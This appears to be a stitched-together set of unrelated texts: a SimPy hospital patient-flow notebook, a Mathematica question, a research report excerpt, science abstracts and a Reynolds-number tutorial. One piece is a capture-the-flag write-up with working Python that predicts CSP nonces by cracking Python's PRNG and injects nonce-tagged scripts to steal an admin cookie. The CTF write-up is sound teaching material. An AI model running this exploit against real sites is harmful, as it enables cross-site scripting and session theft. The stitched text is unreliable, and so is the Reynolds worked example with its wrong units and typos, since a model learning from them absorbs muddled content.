These are the patients. As mentioned above, routing info (for now) is hard coded into this class. Each patient has same static route of OBS -> LDR -> PP. Lists are used to store routing information. Python uses 0 based indexing but we've chosen to use the [1] spot for OBS, [2] for LDR, and [3] for PP quantities. The [0] slot isn't used. Just wanted to avoid a bunch of current_stop_num - 1 type of code fragments. Makes the code more readable, especially since we often have to refer to the previous stop and wish to avoid things like current_stop_num - 2 to mean the previous stop. Obviously this is simple to change if you'd rather use 0 for stop number 1.

Several lists are used to store bed request instances as well as useful timestamps (any variable name ending in _ts such as entry and exit times to each unit.

In [4]:
class OBPatient(object):
""" Models an OB patient

Parameters
----------
arr_time : float
Patient arrival time
patient_id : int
Unique patient id
patient_type : int
Patient type id (default 1). Currently just one patient type.
In our prior research work we used a scheme with 11 patient types.
arr_stream : int
Arrival stream id (default 1). Currently there is just one arrival
stream corresponding to the one patient generator class. In future,
likely to be be multiple generators for generating random and
scheduled arrivals.

"""

def __init__(self, arr_time, patient_id, patient_type=1, arr_stream=1,
prng=RandomState(0)):
self.arr_time = arr_time
self.patient_id = patient_id
self.patient_type = patient_type
self.arr_stream = arr_stream

self.name = 'Patient_{}'.format(patient_id)

# Hard coding route, los and bed requests for now
# Not sure how best to do routing related data structures.
# Hack for now using combination of lists here, the out member
# and the obunits dictionary.
self.current_stay_num = 0
self.route_length = 3

self.planned_route_stop = []
self.planned_route_stop.append(None)
self.planned_route_stop.append("OBS")
self.planned_route_stop.append("LDR")
self.planned_route_stop.append("PP")
self.planned_route_stop.append("EXIT")

self.planned_los = []
self.planned_los.append(None)
self.planned_los.append(prng.exponential(MEAN_LOS_OBS))
self.planned_los.append(prng.exponential(MEAN_LOS_LDR))
self.planned_los.append(prng.exponential(MEAN_LOS_PP))

# Since we have fixed route for now, just initialize full list to
# hold bed requests
self.bed_requests = [None for _ in range(self.route_length + 1)]
self.request_entry_ts = [None for _ in range(self.route_length + 1)]
self.entry_ts = [None for _ in range(self.route_length + 1)]
self.exit_ts = [None for _ in range(self.route_length + 1)]

def __repr__(self):
return "patientid: {}, arr_stream: {}, time: {}". \
format(self.patient_id, self.arr_stream, self.arr_time)

### The OBUnit class¶

This class is used to model the OBS, LDR and PP units. It does most of the heavy lifting related to patients flowing into and out of the various units. It can be used to model both finite and infinite capacity resources. A few basic statistal accumulators are included. The out member gets set to the next unit to be visited by the patient.

In [6]:
class OBunit(object):
""" Models an OB unit with fixed capacity.

Parameters
----------
env : simpy.Environment
the simulation environment
name : str
unit name
capacity : integer (or None)
Number of beds. Use None for infinite capacity.

"""

def __init__(self, env, name, capacity=None, debug=False):
if capacity is None:
self.capacity = simpy.core.Infinity
else:
self.capacity = capacity

self.env = env
self.name = name
self.debug = debug

# Use a simpy Resource as one of the class members
self.unit = simpy.Resource(env, capacity)

# Statistical accumulators
self.num_entries = 0
self.num_exits = 0
self.tot_occ_time = 0.0

# The out member will get set to destination unit
self.out = None

def put(self, obp):
""" A process method called when a bed is requested in the unit.

The logic of this method is reminiscent of the routing logic
in the process oriented obflow models 1-3. However, this method
is used for all of the units - no repeated logic.

Parameters
----------
env : simpy.Environment
the simulation environment

obp : OBPatient object
the patient requestion the bed

"""

if self.debug:
print("{} trying to get {} at {:.4f}".format(obp.name,
self.name, self.env.now))

# Increments patient's attribute number of units visited
obp.current_stay_num += 1
# Timestamp of request time
bed_request_ts = self.env.now
# Request a bed
bed_request = self.unit.request()
# Store bed request and timestamp in patient's request lists
obp.bed_requests[obp.current_stay_num] = bed_request
obp.request_entry_ts[obp.current_stay_num] = self.env.now
# Yield until we get a bed
yield bed_request

# Seized a bed.
obp.entry_ts[obp.current_stay_num] = self.env.now

# Check if we have a bed from a previous stay and release it.
# Update stats for previous unit.

if obp.bed_requests[obp.current_stay_num - 1] is not None:
previous_request = obp.bed_requests[obp.current_stay_num - 1]
previous_unit_name = \
obp.planned_route_stop[obp.current_stay_num - 1]
previous_unit = obunits[previous_unit_name]
previous_unit.unit.release(previous_request)
previous_unit.num_exits += 1
previous_unit.tot_occ_time += \
self.env.now - obp.entry_ts[obp.current_stay_num - 1]
obp.exit_ts[obp.current_stay_num - 1] = self.env.now

if self.debug:
print("{} entering {} at {:.4f}".format(obp.name, self.name,
self.env.now))
self.num_entries += 1
if self.debug:
if self.env.now > bed_request_ts:
waittime = self.env.now - bed_request_ts
print("{} waited {:.4f} time units for {} bed".format(obp.name,
waittime,
self.name))

# Determine los and then yield for the stay
los = obp.planned_los[obp.current_stay_num]
yield self.env.timeout(los)

# Go to next destination (which could be an exitflow)
next_unit_name = obp.planned_route_stop[obp.current_stay_num + 1]
self.out = obunits[next_unit_name]
if obp.current_stay_num == obp.route_length:
# For ExitFlow object, no process needed
self.out.put(obp)
else:
# Process for putting patient into next bed
self.env.process(self.out.put(obp))

def basic_stats_msg(self):
""" Compute entries, exits, avg los and create summary message.

Returns
-------
str
Message with basic stats
"""

if self.num_exits > 0:
alos = self.tot_occ_time / self.num_exits
else:
alos = 0

msg = "{:6}:\t Entries={}, Exits={}, Occ={}, ALOS={:4.2f}".\
format(self.name, self.num_entries, self.num_exits,
self.unit.count, alos)
return msg

### The ExitFlow class¶

This is a "sink" and is used as a place to trigger any post-processing needs after the patient has completed their entire route through the OB system. For now we are just doing some basic statistical and conservation of flow summaries. More importantly, this class handles releasing the last bed in the patient's route.

In [7]:
class ExitFlow(object):
""" Patients routed here when ready to exit.

Patient objects put into a Store. Can be accessed later for stats
and logs. A little worried about how big the Store will get.

Parameters
----------
env : simpy.Environment
the simulation environment
debug : boolean
if true then patient details printed on arrival
"""

def __init__(self, env, name, store_obp=True, debug=False):
self.store = simpy.Store(env)
self.env = env
self.name = name
self.store_obp = store_obp
self.debug = debug
self.num_exits = 0
self.last_exit = 0.0

def put(self, obp):

if obp.bed_requests[obp.current_stay_num] is not None:
previous_request = obp.bed_requests[obp.current_stay_num]
previous_unit_name = obp.planned_route_stop[obp.current_stay_num]
previous_unit = obunits[previous_unit_name]
previous_unit.unit.release(previous_request)
previous_unit.num_exits += 1
previous_unit.tot_occ_time += self.env.now - obp.entry_ts[
obp.current_stay_num]
obp.exit_ts[obp.current_stay_num - 1] = self.env.now

self.last_exit = self.env.now
self.num_exits += 1

if self.debug:
print(obp)

# Store patient
if self.store_obp:
self.store.put(obp)

def basic_stats_msg(self):
""" Create summary message with basic stats on exits.

Returns
-------
str
Message with basic stats
"""

msg = "{:6}:\t Exits={}, Last Exit={:10.2f}".format(self.name,
self.num_exits,
self.last_exit)

return msg

## Main driver script¶

This looks much like the code in the previous models detailed in Part 1 of this series. One important change in this model is that the simulation environment variable is never used as a "global" variable. Any class needing access to the simulation environment explicitly requires it in its __init__ method.

In [9]:
# Initialize a simulation environment
simenv = simpy.Environment()

# Compute and display traffic intensities
rho_obs = ARR_RATE * MEAN_LOS_OBS / CAPACITY_OBS
rho_ldr = ARR_RATE * MEAN_LOS_LDR / CAPACITY_LDR
rho_pp = ARR_RATE * MEAN_LOS_PP / CAPACITY_PP

print("rho_obs: {:6.3f}\nrho_ldr: {:6.3f}\nrho_pp: {:6.3f}".format(rho_obs,
rho_ldr,
rho_pp))

# Create nursing units
obs_unit = OBunit(simenv, 'OBS', CAPACITY_OBS, debug=False)
ldr_unit = OBunit(simenv, 'LDR', CAPACITY_LDR, debug=False)
pp_unit = OBunit(simenv, 'PP', CAPACITY_PP, debug=False)

# Define system exit
exitflow = ExitFlow(simenv, 'EXIT', store_obp=False)

# Create dictionary of units keyed by name. This object can be passed along
# to other objects so that the units are accessible as patients "flow".
obunits = {'OBS': obs_unit, 'LDR': ldr_unit, 'PP': pp_unit, 'EXIT': exitflow}

# Create a patient generator
obpat_gen = OBPatientGenerator(simenv, ARR_RATE, debug=False)

# Routing logic
# Currently routing logic is hacked into the OBPatientGenerator
# and OBPatient objects

# Run the simulation for a while
runtime = 1000
simenv.run(until=runtime)

# Patient generator stats
print("\nNum patients generated: {}\n".format(obpat_gen.num_patients_created))

# Unit stats
print(obs_unit.basic_stats_msg())
print(ldr_unit.basic_stats_msg())
print(pp_unit.basic_stats_msg())

# System exit stats
print("\nNum patients exiting system: {}\n".format(exitflow.num_exits))
print("Last exit at: {:.2f}\n".format(exitflow.last_exit))

rho_obs:  0.600
rho_ldr:  0.800
rho_pp:  0.800

Num patients generated: 453

OBS   :	 Entries=431, Exits=429, Occ=2, ALOS=4.27
LDR   :	 Entries=429, Exits=425, Occ=4, ALOS=11.68
PP    :	 Entries=425, Exits=402, Occ=23, ALOS=48.40

Num patients exiting system: 402

Last exit at: 998.69

## Next Steps¶

Now that I have a feel for how SimPy works, I've got two parallel directions to pursue.

### Task 1: Research quality SimPy model¶

I'll start creating a more full featured version that replicates the functionality of the Simio based model I used in a recent research project. Some of the goals for this new version will be:

• volume, length of stay, routing information and other key inputs should be read in from structured data input files (probably YAML or JSON format),
• create routing classes to handle both random and scheduled arrivals,
• capability to generate time dependent Poisson arrivals,
• detailed patient flow logging to files,
• more statistical output analysis,
• comprehensive documentation,
• a test suite including validation via queueing models (for tractable cases).

### Task 2: Rebuild this model using the R package, simmer¶

I'm a regular user of R for both research and teaching. So, I was pleasantly surprised to learn about a DES framework for R (!). The simmer package looks relatively new and seems to be positioning itself similarly to SimPy. Here's the description from their main web page:

simmer is a process-oriented and trajectory-based Discrete-Event Simulation (DES) package for R. Designed to be a generic framework like SimPy or SimJulia, it leverages the power of Rcpp to boost the performance and turning DES in R feasible. As a noteworthy characteristic, simmer exploits the concept of trajectory: a common path in the simulation model for entities of the same type. It is pretty flexible and simple to use, and leverages the chaining/piping workflow introduced by the magrittr package.

Interesting. While I love chaining/piping via magrittr, especially when using the mighty dplyr package, I'm wondering if this will tie simmer to a process oriented simulation world view. I can see how the notion of a trajectory might lend itself to chaining and piping. Let's find out. I'll post the simmer version as soon as I get one working.

In [ ]:


text:
Using space to denote multiplication [duplicate]

When I want to impress a Mathematica novice I show him how we can use spaces to denote multiplication (telling him also to be careful not to forget the space as in xy:-)!).

As far as I know this feature (or the feature for the exponent that suppresses the ^) does not exist in other CAS or programming languages (I am not sure about Maple) at least without importing packages.

So, what gives this ability of Mathematica? What is different in the implementation of multiplication? It has to do with Front End?

marked as duplicate by Michael E2, Community♦Apr 14 '18 at 1:22

• I think it is the difference in syntax, namely using [] for function calls. That is WHAT allows a parser to be constructed that can unambiguously interpret the juxtaposition of expressions as multiplication. (That is the point of the duplicate.) The "power" is in the syntax. Previous designers of programming languages weren't bold enough to break with standard mathematical notation tradition (my opinion). – Michael E2 Apr 14 '18 at 1:19


text:
Question

# The graph of f is shown. Evaluate each integral by interpreting it in terms of areas. integral.\int_0^2 f(x)dx

Integrals
The graph of f is shown. Evaluate each integral by interpreting it in terms of areas. integral.$$\int_0^2 f(x)dx$$


text:
Rating: 0

# NaaS #

In this challenge, there are 3 parts:

* The "Nonce as a Service" API, where you can post your HTML and automatically apply nonces to your script tags and send a CSP header that matches it. We are given the code for this.
* A paste site, where you can submit whatever and store it. The input isn't sanitized, but due to CSP restrictions on the site, scripts cannot be run unless they are tagged with the correct nonce. Nonces are generated by the NaaS API.
* The functionality to report a paste to an admin, making a browser bot visit that paste. The admin has a secret cookie with the flag in it.

The big flaw here, is that the NaaS API uses Python's random module, which gives pseudorandom numbers based on the Mersenne Twister PRNG. To get nearly 100% prediction rate for the next number, we need only 624 consecutive 32-bit numbers from the PRNG. The nonces are grabbing 128 bits every time, and outputting them in full, so that means we only need 156 numbers.

Our vector of attack is thus to send some HTML to the NaaS API, where we ask for at least 156 nonces. We use the value of these nonces to reverse the PRNG state and predict what the next nonces will be. Next, we generate some HTML+JS using these predicted nonces, where we also exfiltrate the admin cookie through normal XSS. Lastly, we report the paste to the admin, which triggers a visit. The paste site now queries NaaS, which gives one of our predicted nonces, and the admin ends up leaking the cookie.

To reverse the PRNG we use randcrack. It takes in 32-bit values only, so the 128-bit nonces are split up into 32-bit ones. When you ask Python for getrandbits(64) you actually get getrandbits(32) << 32 | getrandbits(32) and the same applies for 128-bit. That's the reason for the negative direction of the split.

python
import requests, re, binascii, base64
from randcrack import RandCrack

html = "<html>" + "<script></script>"*157 + "</html>"

data = requests.post("https://naas.2019.chall.actf.co/nonceify", data=html).text
nonces = re.findall("'nonce-([A-Za-z0-9\+/=]+)'", data)
hexnonce = [binascii.hexlify(base64.b64decode(nonce)) for nonce in nonces]
rands = [int(e[i:i+8], 16) for e in hexnonce for i in range(24,-1,-8)]
realrands = [int(e,16) for e in hexnonce]

rc = RandCrack()
for i in range(624):
rc.submit(rands[i])

assert rc.predict_getrandbits(128) == realrands[624//4]

xsshtml = ""
for _ in range(100):
nonce = str(base64.b64encode(binascii.unhexlify(hex(rc.predict_getrandbits(128))[2:].zfill(32))), encoding="ascii")
xsshtml += """<script nonce="%s">document.write('')</script>""" % nonce

r = requests.post("https://paste.2019.chall.actf.co", data={'paste': xsshtml}, allow_redirects=False)


text:
Overall Objectives
Research Program
Application Domains
New Software and Platforms
Bilateral Contracts and Grants with Industry
Partnerships and Cooperations
Bibliography
 PDF e-Pub

## Section: Application Domains

### Energy conversion

#### Fluid-structure interaction

We apply the methods developed in our team to the domain of wind engineering and sea-wave converters. In Figure 1, we show results of a numerical model for a sea-wave energy converter. We here rely on a monolithic model to describe the interaction between the rigid floater, air and water; material properties such as densities, viscosities and rigidity vary across the domain. The appropriate boundary conditions are imposed at interfaces that arbitrarily cross the grid using adapted schemes built thanks to geometrical information computed via level set functions [46]. The background method for fluid-structure interface is the volume penalization method [27] where the level set functions is used to improve the degree of accuracy of the method [3] and also to follow the object. The underlined mathematical model is unsteady, and three dimensional; numerical simulations based on a grid with $𝒪\left({10}^{8}\right)$ degrees of freedom are executed in parallel using 512 CPUs .

Figure 1. numerical modeling of a sea-wave converter by a monolithic model and Cartesian meshes.

In the context of the Aerogust (Aeroelastic gust modelling) European project, together with Valorem, we investigated the behavior of wind turbine blades under gust loading. The aim of the project was to optimize the design of wind turbine blades to maximize the power extracted. A meteorological mast (Figure 2(a)) has been installed in March 2017 in Brittany to measure wind on-site: data provided by the mast have been exploited to initialize the mathematical model. Due to the large cost of the full-order mathematical model, we relied on a simplified model [38] to optimize the global twist. Then, we validated the optimal configuration using the full-order Cartesian model based on the NaSCar solver. Figure 2(b) shows the flow around the optimized optimized wind turbine rotor.

Figure 2. Aerogust project. Left: met mast after its installation. Right: flow around the optimized wind turbine rotor (as predicted by NaSCar).

#### Schemes for turbulent flow simulations using Octrees

We have initially developed and tested a 3D first-order Octree code for unsteady incompressible Navier-Stokes equations for full windmill simulations with an LES model and wall laws. We have validated this code on Occigen for complex flows at increasing Reynolds numbers. This step implied identifying stable and feasible schemes compatible with the parallel linear Octree structure. The validation has been conducted with respect to the results of a fully Cartesian code (NaSCAR) that we run on Turing (with significantly more degrees of freedom) and with respect to experimental results.

Subsequently, we have developed a second-order Octree scheme that has been validated on Occigen for a sphere at a moderate Reynolds number ($\mathrm{Re}=500$), see Table 1. Then, for a cylinder at ($\mathrm{Re}=140000$) (Figures 3(a) and 3(b)), close to real applications, we have preliminary validation results for the second-order scheme with respect to experimental drag coefficient (Table 2). Additional resources will be asked on Occigen to complete the study.

Figure 3. flow past a cylinder at $\mathrm{Re}=140000$. Left: vorticity contour lines. Right: streamwise velocity section and grid for the second-order Octree scheme.


text:
# Important formulas of Rotational Motion Class 11 Physics JEE & NEET

Here you will get all the Rotational Motion  formulas for class 11, JEE and NEET examination. You can quickly revise entire chapter here in a quick overview.


text:
Korean VLBI Network (KVN)

Multi-frequency observations

Simultaneous multi-frequency observation is a unique capability of KVN with which we can calibrate out the short-term phase fluctuations at higher frequency data by referencing the phase solution obtained from lower frequency data. This phase referencing technique allows us to integrate the data for the time scale much longer than the coherent time scale of atmospheric phase fluctuation and so to observe weak sources at mm wavelength efficiently. For multi-frequency observations, we can select no more than 4 IFs among 8 IF signals ( = 4 receivers x 2 polarizations).

Fast position switching observations

The slewing speed and acceleration rate of the KVN antenna are 3 deg/sec and 3deg/sec^2, respectively. Due to this high speed and acceleration rate, the KVN antenna can switch its pointing from target to calibrator at a short period.

Korean VLBI Network


text:
# Hexagonal warping on spin texture, Hall conductivity, and circular dichroism of topological insulators Academic Article

•
• Overview
•
• Research
•
• Identity
•
•
• View All
•

### abstract

• The topological protected electronic states on the surface of a topological insulator can progressively change their Fermi cross-section from circular to a snowflake shape as the chemical potential is increased above the Dirac point because of an hexagonal warping term in the Hamiltonian. Another effect of warping is to change the spin texture which exists when a finite gap is included by magnetic doping, although the in-plane spin component remains locked perpendicular to momentum. It also changes the orbital magnetic moment, the matrix element for optical absorption and the circular dichroism. We find that the Fermi surface average of z-component of spin is closely related to the value of the Berry phase. This holds even when the Hamiltonian includes a subdominant non-relativistic quadratic in momentum term (which provides particle-hole asymmetry) in addition to the dominant relativistic Dirac term. There is also a qualitative correlation between $\left\langle S_z \right\rangle$ and the dichroism. For the case when the chemical potential falls inside the gap between valence and conduction band, the Hall conductivity remains quantized and unaffected in value by the hexagonal warping term.

### publication date

• April 24, 2014


text:
# Reynolds Number

## What is a Reynolds Number?

Reynolds number is a dimensionless quantity that is used to determine the type of flow pattern as laminar or turbulent while flowing through a pipe. Reynolds number is defined by the ratio of inertial forces to that of viscous forces.

## Reynolds Number Formula

It is given by the following relation:

$Reynolds\;Number = \frac{Inertial\;Force}{Viscous\;Force}$

 $R_{e}=\frac{\rho VD}{\mu }$

Where,

• Re is the Reynolds number
• ρ is the density of the fluid
• V is the velocity of flow
• D is the pipe diameter
• μ is the viscosity of the fluid

If the Reynolds number calculated is high (greater than 2000), then the flow through the pipe is said to be turbulent. If Reynolds number is low (less than 2000), the flow is said to be laminar. Numerically, these are acceptable values, although in general the laminar and turbulent flows are classified according to a range. Laminar flow falls below Reynolds number of 1100 and turbulent falls in a range greater than 2200.

Laminar flow is the type of flow in which the fluid travels smoothly in regular paths. Conversely, turbulent flow isn’t smooth and follows an irregular math with lots of mixing.

An illustration depicting laminar and turbulent flow is given below.

The Reynolds number is named after the British physicist Osborne Reynolds. He discovered this while observing different fluid flow characteristics like flow a liquid through a pipe and motion of an airplane wing through the air. He also observed that the type of flow can transition from laminar to turbulent quite suddenly.

## Reynolds Number Example Problems

Problem 1- Calculate Reynolds number, if a fluid having viscosity of 0.4 Ns/m2  and relative density of 900 Kg/m3  through a pipe of 20 mm with a velocity of 2.5 m.

Solution 1 – Given that,

Viscosity of fluid μ

$\mu =\frac{0.4Ns}{m^{2}}$

Density of fluid ρ

$\rho=900Kg/m^{2}$

Diameter of the fluid

$L=20\times 10^{-3}m$

$R_{e}=\frac{\rho VL}{\mu }$

$=\frac{900\times 2.5\times 20\times10^{-3}}{0.4}$

$=112.5$

From the above answer, we observe that the Reynolds number value is less than 2000. Therefore, the flow of liquid is laminar.